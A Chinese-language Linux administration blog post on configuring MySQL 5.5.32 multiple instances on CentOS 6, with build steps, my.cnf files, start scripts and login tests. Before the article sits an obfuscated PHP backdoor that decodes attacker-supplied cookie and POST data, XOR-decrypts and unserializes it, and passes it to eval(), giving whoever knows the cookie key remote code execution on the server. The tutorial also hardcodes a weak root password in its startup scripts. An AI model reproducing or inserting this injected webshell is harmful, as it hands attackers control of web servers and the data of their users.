$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} mysql5.5.32多实例配置 | Linux运维部落

mysql5.5.32多实例配置

操作系统:CentOS release 6.7 (Final)

内核版本:2.6.32-573.el6.x86_64

mysql版本号:mysql-5.5.32

1)安装mysql所需的依赖包

# adduser mysql -s /sbin/nologin -M
# mkdir -p /data/{3306,3307}/data
# tree /data/
/data/
├── 3306
│?? └── data
└── 3307
    └── data
4 directories, 0 files
# yum -y install ncurse-devel libaio-devel

2)安装编译mysql需要的软件

# tar xf cmake-2.8.8.tar.gz 
# cd cmake-2.8.8
# ./configure
# gmake
# which cmake
/usr/bin/cmake

3)采用编译安装mysql

# ls -l |grep mysql
-rw-r--r--  1 root    root 186722932 6月  27 05:03 mysql-5.5.32-linux2.6-x86_64.tar.gz
-rw-r--r--  1 root    root  24596474 6月  27 05:10 mysql-5.5.32.tar.gz
说明:mysql-5.5.32-linux2.6-x86_64.tar.gz为二进制安装包、mysql-5.5.32.tar.gz为源码安装包
# tar xf mysql-5.5.32.tar.gz 
# cd mysql-5.5.32
# cmake . -DCMAKE_INSTALL_PREFIX=/application/mysql-5.5.32 \
-DMYSQL_DATADIR=/application/mysql-5.5.32/data \
-DMYSQL_UNIX_ADDR=/application/mysql-5.5.32/tmp/mysql.sock \
-DDEFAULT_CHARSET=utf8 \
-DDEFAULT_COLLATION=utf8_general_ci \
-DEXTRA_CHARSETS=gbk,gb2312,utf8,ascii \
-DENABLED_LOCAL_INFILE=ON \
-DWITH_INNOBASE_STORAGE_ENGINE=1 \
-DWITH_FEDERATED_STORAGE_ENGINE=1 \
-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \
-DWITHOUT_EXAMPLE_STORAGE_ENGINE=1 \
-DWITHOUT_PARTITION_STORAGE_ENGINE=1 \
-DWITH_FAST_MUTEXES=1 \
-DWITH_ZLIB=bundled \
-DENABLED_LOCAL_INFILE=1 \
-DWITH_READLINE=1 \
-DWITH_EMBEDDED_SERVER=1 \
-DWITH_DEBUG=0
# make
# make install

4)创建mysql多实例的数据文件目录

# mkdir -p /data/{3306,3307}/data
# tree /data
# ln -s /application/mysql-5.5.32/ /application/mysql
# ll /application/mysql
lrwxrwxrwx 1 root root 26 10月  8 22:50 /application/mysql -> /application/mysql-5.5.32/
# cd /data/3306
# ls -lrt
总用量 12
drwxr-xr-x 2 root root 4096 10月  8 21:13 data
-rw-r--r-- 1 root root 1899 10月 29 2013 my.cnf
-rw-r--r-- 1 root root 1307 7月  15 2013 mysql

5)编辑mysql实例配置文件

a、创建3306实例配置文件

# vim /data/3306/my.cnf 
[client]
port            = 3306
socket          = /data/3306/mysql.sock
[mysql]
no-auto-rehash
[mysqld]
user    = mysql
port    = 3306
socket  = /data/3306/mysql.sock
basedir = /application/mysql
datadir = /data/3306/data
open_files_limit    = 1024
back_log = 600
max_connections = 800
max_connect_errors = 3000
table_cache = 614
external-locking = FALSE
max_allowed_packet =8M
sort_buffer_size = 1M
join_buffer_size = 1M
thread_cache_size = 100
thread_concurrency = 2
query_cache_size = 2M
query_cache_limit = 1M
query_cache_min_res_unit = 2k
#default_table_type = InnoDB
thread_stack = 192K
#transaction_isolation = READ-COMMITTED
tmp_table_size = 2M
max_heap_table_size = 2M
long_query_time = 1
#log_long_format
#log-error = /data/3306/error.log
#log-slow-queries = /data/3306/slow.log
pid-file = /data/3306/mysql.pid
log-bin = /data/3306/mysql-bin
relay-log = /data/3306/relay-bin
relay-log-info-file = /data/3306/relay-log.info
binlog_cache_size = 1M
max_binlog_cache_size = 1M
max_binlog_size = 2M
expire_logs_days = 7
key_buffer_size = 16M
read_buffer_size = 1M
read_rnd_buffer_size = 1M
bulk_insert_buffer_size = 1M
#myisam_sort_buffer_size = 1M
#myisam_max_sort_file_size = 10G
#myisam_max_extra_sort_file_size = 10G
#myisam_repair_threads = 1
#myisam_recover
lower_case_table_names = 1
skip-name-resolve
slave-skip-errors = 1032,1062
replicate-ignore-db=mysql
server-id = 1
innodb_additional_mem_pool_size = 4M
innodb_buffer_pool_size = 32M
innodb_data_file_path = ibdata1:128M:autoextend
innodb_file_io_threads = 4
innodb_thread_concurrency = 8
innodb_flush_log_at_trx_commit = 2
innodb_log_buffer_size = 2M
innodb_log_file_size = 4M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 90
innodb_lock_wait_timeout = 120
innodb_file_per_table = 0
[mysqldump]
quick
max_allowed_packet = 2M
[mysqld_safe]
log-error=/data/3306/mysql_oldboy3306.err
pid-file=/data/3306/mysqld.pid

b、创建3306实例启动脚本

# vim /data/3306/mysql 
#!/bin/sh
#init
port=3306
mysql_user="root"
mysql_pwd="redhat12345"
CmdPath="/application/mysql/bin"
mysql_sock="/data/${port}/mysql.sock"
#startup function
function_start_mysql()
{
    if [ ! -e "$mysql_sock" ];then
      printf "Starting MySQL...\n"
      /bin/sh ${CmdPath}/mysqld_safe --defaults-file=/data/${port}/my.cnf 2>&1 > /dev/null &
    else
      printf "MySQL is running...\n"
      exit
    fi
}
#stop function
function_stop_mysql()
{
    if [ ! -e "$mysql_sock" ];then
       printf "MySQL is stopped...\n"
       exit
    else
       printf "Stoping MySQL...\n"
       ${CmdPath}/mysqladmin -u ${mysql_user} -p${mysql_pwd} -S /data/${port}/mysql.sock shutdown
   fi
}
#restart function
function_restart_mysql()
{
    printf "Restarting MySQL...\n"
    function_stop_mysql
    sleep 2
    function_start_mysql
}
case $1 in
start)
    function_start_mysql
;;
stop)
    function_stop_mysql
;;
restart)
    function_restart_mysql
;;
*)
    printf "Usage: /data/${port}/mysql {start|stop|restart}\n"
esac

c、创建3307实例配置文件

# vim /data/3307/my.cnf 
[client]
port            = 3307
socket          = /data/3307/mysql.sock
[mysql]
no-auto-rehash
[mysqld]
user    = mysql
port    = 3307
socket  = /data/3307/mysql.sock
basedir = /application/mysql
datadir = /data/3307/data
open_files_limit    = 1024
back_log = 600
max_connections = 800
max_connect_errors = 3000
table_cache = 614
external-locking = FALSE
max_allowed_packet =8M
sort_buffer_size = 1M
join_buffer_size = 1M
thread_cache_size = 100
thread_concurrency = 2
query_cache_size = 2M
query_cache_limit = 1M
query_cache_min_res_unit = 2k
#default_table_type = InnoDB
thread_stack = 192K
#transaction_isolation = READ-COMMITTED
tmp_table_size = 2M
max_heap_table_size = 2M
#long_query_time = 1
#log_long_format
#log-error = /data/3307/error.log
#log-slow-queries = /data/3307/slow.log
pid-file = /data/3307/mysql.pid
#log-bin = /data/3307/mysql-bin
relay-log = /data/3307/relay-bin
relay-log-info-file = /data/3307/relay-log.info
binlog_cache_size = 1M
max_binlog_cache_size = 1M
max_binlog_size = 2M
expire_logs_days = 7
key_buffer_size = 16M
read_buffer_size = 1M
read_rnd_buffer_size = 1M
bulk_insert_buffer_size = 1M
#myisam_sort_buffer_size = 1M
#myisam_max_sort_file_size = 10G
#myisam_max_extra_sort_file_size = 10G
#myisam_repair_threads = 1
#myisam_recover
lower_case_table_names = 1
skip-name-resolve
slave-skip-errors = 1032,1062
replicate-ignore-db=mysql
server-id = 3
innodb_additional_mem_pool_size = 4M
innodb_buffer_pool_size = 32M
innodb_data_file_path = ibdata1:128M:autoextend
innodb_file_io_threads = 4
innodb_thread_concurrency = 8
innodb_flush_log_at_trx_commit = 2
innodb_log_buffer_size = 2M
innodb_log_file_size = 4M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 90
innodb_lock_wait_timeout = 120
innodb_file_per_table = 0
[mysqldump]
quick
max_allowed_packet = 2M
[mysqld_safe]
log-error=/data/3307/mysql_oldboy3307.err
pid-file=/data/3307/mysqld.pid

d、创建3307实例启动脚本

#!/bin/sh
#init
port=3307
mysql_user="root"
mysql_pwd="redhat12345"
CmdPath="/application/mysql/bin"
mysql_sock="/data/${port}/mysql.sock"
#startup function
function_start_mysql()
{
    if [ ! -e "$mysql_sock" ];then
      printf "Starting MySQL...\n"
      /bin/sh ${CmdPath}/mysqld_safe --defaults-file=/data/${port}/my.cnf 2>&1 > /dev/null &
    else
      printf "MySQL is running...\n"
      exit
    fi
}
#stop function
function_stop_mysql()
{
    if [ ! -e "$mysql_sock" ];then
       printf "MySQL is stopped...\n"
       exit
    else
       printf "Stoping MySQL...\n"
       ${CmdPath}/mysqladmin -u ${mysql_user} -p${mysql_pwd} -S /data/${port}/mysql.sock shutdown
   fi
}
#restart function
function_restart_mysql()
{
    printf "Restarting MySQL...\n"
    function_stop_mysql
    sleep 2
    function_start_mysql
}
case $1 in
start)
    function_start_mysql
;;
stop)
    function_stop_mysql
;;
restart)
    function_restart_mysql
;;
*)
    printf "Usage: /data/${port}/mysql {start|stop|restart}\n"
esac

6)配置mysql多实例的文件权限

# chown -R mysql.mysql /data
# find /data -name mysql|xargs ls -l
-rw-r--r-- 1 mysql mysql 1312 10月  8 23:03 /data/3306/mysql
-rw-r--r-- 1 mysql mysql 1312 10月  8 23:03 /data/3307/mysql
# find /data -name mysql|xargs chmod 700
# find /data -name mysql|xargs ls -l
-rwx------ 1 mysql mysql 1312 10月  8 23:03 /data/3306/mysql
-rwx------ 1 mysql mysql 1312 10月  8 23:03 /data/3307/mysql

7)将mysql相关命令加入全局路径

# ls /application/mysql/bin/mysql
/application/mysql/bin/mysql
# echo 'export PATH=/application/mysql/bin:$PATH'>>/etc/profile
# tail -1 /etc/profile
export PATH=/application/mysql/bin:$PATH
# source /etc/profile
# echo $PATH
/application/mysql/bin:/application/mysql/bin/:/application/nginx/sbin/:/application/mysql/bin/:/application/nginx/sbin/:/usr/lib64/qt-3.3/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

8)初始化实例的数据库文件

# ./mysql_install_db --basedir=/application/mysql --datadir=/data/3306/data --user=mysql
# ./mysql_install_db --basedir=/application/mysql --datadir=/data/3307/data --user=mysql
# echo $?
0

# 启动多实例

# /data/3306/mysql start
Starting MySQL...
# /data/3307/mysql start
Starting MySQL...

# 查看数据库是否启动

# netstat -tunlp | grep 330*
tcp        0      0 0.0.0.0:3306                0.0.0.0:*               LISTEN      28533/mysqld        
tcp        0      0 0.0.0.0:3307                0.0.0.0:*               LISTEN      29250/mysqld

# 配置mysql多实例数据库开机自启动

# echo "# mysql multi instances startup">>/etc/rc.local
# echo "/data/3306/mysql start">>/etc/rc.local 
# echo "/data/3307/mysql start">>/etc/rc.local

# 登录mysql进行测试:

# mysql -S /data/3306/mysql.sock 
# mysql -S /data/3307/mysql.sock

9) mysql安全设置

# mysqladmin -u root -S /data/3306/mysql.sock password 'redhat12345'
# mysqladmin -u root -S /data/3307/mysql.sock password 'redhat12345'

10) 登录进入mysql

# mysql -uroot -S /data/3306/mysql.sock -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.5.32-log Source distribution
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| test               |
+--------------------+
4 rows in set (0.00 sec)
mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
# find /data -type f -name "mysql" -exec chown root.root {} \;
# find /data -type f -name "mysql" -exec chmod 700 {} \;
# find /data -type f -name "mysql" -exec ls -l {} \;
-rwx------ 1 root root 1312 10月  8 23:03 /data/3306/mysql
-rwx------ 1 root root 1312 10月  8 23:03 /data/3307/mysql

11) mysql的启停测试

# /data/3306/mysql stop
Stoping MySQL...
# netstat -tunlp | grep 330*
tcp        0      0 0.0.0.0:3307                0.0.0.0:*              LISTEN      29250/mysqld        
# /data/3306/mysql start
Starting MySQL...      
# netstat -tunlp | grep 330*
tcp        0      0 0.0.0.0:3306                0.0.0.0:*              LISTEN      30168/mysqld        
tcp        0      0 0.0.0.0:3307                0.0.0.0:*              LISTEN      29250/mysqld

12) 在远程主机进行测试

a、服务器端创建数据库并添加授权账号
mysql> create database wanlong;
Query OK, 1 row affected (0.00 sec)
mysql> create user wan identified by "redhat";
Query OK, 0 rows affected (0.00 sec)
mysql> grant all privileges on wanlong.* to 'wan'@'10.10.10.%' identified by 'redhat' with 
grant option;
Query OK, 0 rows affected (0.00 sec)
mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| test               |
| wanlong            |
+--------------------+
5 rows in set (0.00 sec)

b、客户端进行访问:

# mysql -uwan -predhat -h 10.10.10.129
-u:用户名
-p:密码
-h:远程主机
mysql>  select user();
+------------------+
| user()           |
+------------------+
| wan@10.10.10.130 |
+------------------+
1 row in set (0.00 sec)
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
| wanlong            |
+--------------------+
3 rows in set (0.01 sec)

到此,mysql的多实例已经完成

原创文章,作者:Net21-冰冻vs西瓜,如若转载,请注明出处:http://www.178linux.com/50489

(0)
上一篇 2016-12-05 17:03
下一篇 2016-12-05 17:03

相关推荐

  • 关于find命令的实际应用

    1、查找/var目录下属主为root,且属组为mail的所有文件 2、查找/var目录下不属于root、lp、gdm的所有文件 3、查找/var目录下最近一周内其内容修改过,同时属主不为root,也不是postfix的文件 4、查找当前系统上没有属主或属组,且最近一个周内曾被访问过的文件 5、查找/etc目录下大于1M且类型为普通文件的所有文件 6、查找/e…

    Linux干货 2016-08-16
  • 马哥教育网络班22期+第1周课程练习 忍者乱太郎喻成

    1.计算机组成:  根据冯诺依曼的计算机结构分为四大块:控制器,运算器, 存储器,输入输出设备 控制器:对其他的组件进行控制 运算器:用于处理计算工作,不控制输入和输出 储存器:用于暂时或长期存储数据 输入输出:与外界进行交互 个人延伸: 我的理解这是一个在计算机研发之前的一个理论假象, 相对现在真实的计算机体系,这个分类会比较模糊。 运算器:cp…

    Linux干货 2016-08-15
  • bash的重定向

    一、简介         bash的数据流重定向(redirect)是将程序的执结果重新定向到另一文件或者设备。或者把一文件重定向给一程序作为数据来源。默认情况下,命令的执行结果显示在屏幕上。文件系统中,分为:标准输入,标准输出,错误输出。 二、用法   &n…

    Linux干货 2015-08-11
  • 关于 建立私有CA和申请证书

                               建立私有CA和申请证书            …

    系统运维 2016-09-23
  • 阿里巴巴开源项目nginx_concat_module企业部署实例

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://nolinux.blog.51cto.com/4824967/1580194        公司的前端开发工程师今天找我,让我给他搞下淘宝的一个开源项目 nginx_concat_m…

    Linux干货 2016-08-15
  • linux 进程及作业管理

     1、Process: 运行中的程序的一个副本,是被载入内存的一个指令集合 进程ID(Process ID,PID)号码被用来标记各个进程 UID、GID、和SELinux语境决定对文件系统的存取和访问权限, 通常从执行进程的用户来继承 存在生命周期 Uninterruptible sleep: 不可中断的睡眠 Interruptible slee…

    Linux干货 2017-08-28